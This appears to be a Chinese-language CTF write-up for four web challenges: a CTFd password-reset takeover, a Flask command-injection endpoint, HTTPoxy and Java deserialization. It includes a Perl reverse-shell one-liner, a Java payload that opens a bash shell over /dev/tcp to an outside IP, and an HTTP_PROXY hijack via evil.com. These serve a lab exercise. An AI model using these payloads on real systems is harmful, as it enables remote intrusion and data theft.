HappyCTFd
考点:
CVE-2020-7245
https://www.colabug.com/2020/0204/6940556/
利用方式:
注册一个如下账号,这里邮箱为buu上的内网邮箱系统
前往/reset_password找回密码
发送完成后把我们注册的用户名改一下:
然后用邮箱的找回密码链接改admin的密码123,登陆,找到flag文件
CHECKIN
考点:
反弹shell
linux文件描述符
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
首先flag_file = open("flag.txt", "r"),然后在shell页面,可供我们传入c参数命令执行,不过在这之前已经把flag.txt给删了
当一个进程打开某个文件直到关闭前,该进程会获得文件描述符,而文件描述符里有文件的内容,即便已经将文件删除,只是删除了其相应的目录索引节点,若进程依然存在没被关闭的话,就依然可以通过文件提供给它的文件描述符进行操作
所以只要找到该进程就可以读取flag,/proc/[pid]/fd
是一个目录,包含进程打开文件的情况
然后就要利用反弹shell了,打开buu的linux labs,ssh连上,监听端口:
payload:
perl -e 'use Socket;$i="YOURIP";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' &
urlencode一下发几次即可弹shell:
cat /proc/*/fd/*
或者也可以挨个找
TimeTravel
HTTPoxy漏洞(CVE-2016-5385)
https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy
这个漏洞的前提之一就是
你的服务跑在PHP的CGI模式下(cgi, php-fpm)
看一下phpinfo找到fpm (应该
然后就看一下如何利用吧
cgi(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约>定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: >http://evil.com这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com,进而窃取数据包>中可能存在的敏感信息。
PHP5.6.24版本修复了该漏洞,不会再将Proxy放入环境变量中
也就是增加一个Proxy的头,cgi会自动将我们加上HTTP_前缀,正好构成了环境变量中的HTTP_PROXY代理,结合题目就是将请求结果构造成{"success"=>true}
会返回flag
还是要用到内网服务器,不过这里达服务我一直没弄成功,其实只要构造一个response返回就可以了,参考一位师傅的payload:
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 29 Feb 2020 05:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16
{"success":true}
EasySpringMVC
java的题太顶了,迟早都得遇到那还是先跟着思路做吧
首先拿到源码用JD-GUI反编译一下得到代码
ClientInfo.class主要是用来存储用户信息的
Tools.class继承了Serializable,所以是用来序列化反序列化的类,parse方法是用来反序列化的(readObject),create是用来序列化的(writeObject),这里需要说一下
java在writeObject或readObject被重写时,(反)序列化该类时调用便是重写后的方法。如果>该方法书写不当的话就有可能引发恶意代码的执行
可以看到上面的readObject就被重写了,并且新建了一个ProcessBuilder方法
而它是可以执行命令的,如:
Process p =new ProcessBuilder("ipconfig","/all").start(); //执行ipconfig/all命令
ClientInfoFilter.class:主要做的就是判断cookie中有没有cinfo,如果没有就进行初始化用户为Anonymous,然后进行序列化等操作存入cookie
相反的如果有的话就调用parse反序列化:
先来看一下cookie,直接用base64解密不了,是因为java的序列化是将对象写成二进制流
可以看一下下面这个例子:
main:
User.class:
跑一下
所以这些数据是不能直接在文本里更改的,所以这里就依葫芦画瓢,模仿它的方式,将用户改成admin
跑出来换一下cookie,变成了admin,证明可行
那么接下来就要利用ProcessBuilder去命令执行,
现在关键就是如何控制这个obj参数,可以看到obj是由readObject读来的,那么就加一个
writeObject方法,内容如下:
private void writeObject(ObjectOutputStream out) throws IOException,ClassNotFoundException{
String command[]={"bash","-c","bash -i>& /dev/tcp/174.1.15.118/2333 0>&1"};
out.writeObject(command);
}
在序列化的时候因为有重写所以会被调用,然后将command[]写入,在反序列化的时候被成功执行,添加到Tools.class下,main函数为:
跑一下替换cookie,监听端口,刷新即可弹shell
贴一下java反序列化的文章:
https://xz.aliyun.com/t/6787#toc-0
https://blog.csdn.net/Leon_cx/article/details/81517603